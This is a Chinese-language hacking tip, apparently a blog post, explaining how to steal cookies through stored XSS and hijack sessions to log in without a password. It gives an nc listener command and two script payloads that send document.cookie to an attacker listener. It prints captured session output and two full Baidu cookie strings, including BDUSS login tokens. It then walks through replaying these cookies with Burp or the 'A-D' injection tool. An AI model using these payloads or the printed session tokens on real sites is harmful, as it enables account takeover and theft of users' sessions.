技巧：XSS漏洞结合nc窃取Cookie实现免密码登录

XSS漏洞结合nc窃取Cookie实现免密码登录（已亲身通过burp抓包改Cookie在不同电脑实践成功！）

如果某天不能用外网，也不能用kali

存储型xss最重要的是获取用户的cookie！！！！！！！！！！

document.cookie

获取用户所在网站的cookie

1.在黑客端用nc进行监听

nc -lvp 4444    //使用nc监听4444端口

2.XSS注入的恶意script脚本

<script>var img = document.createElement("img");img.src="http://127.0.0.1:4444/a?"+escape(document.cookie);</script>

<script>
document.write('<img src="http://127.0.0.1:4444/?'+document.cookie+'"/> ');
</script>

3.用户访问以后，黑客就可以在nc端监听到相应的cookie信息

用户访问后，可以在nc上看到
BEEFHOOK=AREs541oCaZqmaEhmEu8FKmaX7baBAFUMp2ZapHkFhcDuYwsDfAhSSCcBQYdTN3mCMUrBdZdG7dgWZ0H;%20PHPSESSID=pp6ei8ut8gkmntp2t4dv7vo026;%20security=low

4.之后黑客可以借助啊D注入工具，或者Burp在相应的界面修改Cookie实现免密码密码

Cookie替换实战：

工具1：借助burp  

1.登录百度

2.用burp抓包获取相应的cookie

Cookie: BAIDUID=6ED5645EBF6620951D05A27C0367D36A:FG=1; BIDUPSID=6ED5645EBF662095FC0A038B9D1D0C27; PSTM=1628740358; __yjs_duid=1_19ecb1835fa7362a1e43d3fa9e73d0021628911716558; BD_UPN=13314752; BDORZ=FFFB88E999055A3F8A630C64834BD6D0; COOKIE_SESSION=6046137_0_4_3_11_5_1_0_4_3_0_0_6046134_0_1_0_1642304503_0_1642304504%7C9%230_0_1642304504%7C1; BDRCVFR[Fc9oatPmwxn]=srT4swvGNE6uzdhUL68mv3; delPer=0; BD_CK_SAM=1; PSINO=5; H_PS_PSSID=35410_35740_35105_31253_35627_34584_35490_35700_35246_35688_35667_35316_26350_35745; H_PS_645EC=f897l1tNmVRDDbamcnYb7vc3eyOXJ8VQ3MKt6AOyc9Inb%2BZ3nUBr%2Fn63U%2B8rgIHHzlGN; BA_HECTOR=852g008ha1218kak2i1gu7odg0r; __sec_t_key=bf5cd066-4a0c-4c8b-a976-d96d395efbe0; BD_HOME=1; BDUSS=RoVVY2Q0I2dWRYdEFlUDZCNC1hekNpQ0Q3T255eXp1eW1VbzNXTE9obXBiZ3RpSUFBQUFBJCQAAAAAAAAAAAEAAACE24E1u6rPxLrav83TwL3cAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKnh42Gp4eNhcE

3.切换其他浏览器，重新进入百度 确保其是没有登录的

4.刷新后用burp抓包 替换相应位置的cookie

5.即可成功用cookie登陆

工具2：借助啊D注入工具实战

1.正常登录抓取Cookie

Cookie: BAIDUID=6ED5645EBF6620951D05A27C0367D36A:FG=1; BIDUPSID=6ED5645EBF662095FC0A038B9D1D0C27; PSTM=1628740358; __yjs_duid=1_19ecb1835fa7362a1e43d3fa9e73d0021628911716558; BD_UPN=13314752; BDORZ=FFFB88E999055A3F8A630C64834BD6D0; COOKIE_SESSION=6046137_0_4_3_11_5_1_0_4_3_0_0_6046134_0_1_0_1642304503_0_1642304504%7C9%230_0_1642304504%7C1; H_PS_645EC=f897l1tNmVRDDbamcnYb7vc3eyOXJ8VQ3MKt6AOyc9Inb%2BZ3nUBr%2Fn63U%2B8rgIHHzlGN; BA_HECTOR=2021ak04al818001621gu7oqp0q; __sec_t_key=bf5cd066-4a0c-4c8b-a976-d96d395efbe0; BD_HOME=1; H_PS_PSSID=35410_35740_35105_31253_35627_34584_35490_35700_35246_35688_35667_35316_26350_35745; BDUSS=nV4NzVzSFBwZHlnODBiemZQVDRxR0R4N3J3Z3NTbjBwbTBoR1lHNU1pQlpjQXRpSUFBQUFBJCQAAAAAAAAAAAEAAACE24E1u6rPxLrav83TwL3cAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFnj42FZ4-Nhb

2.在啊D工具中

3.直接替换Cookie

4.成功免密码登录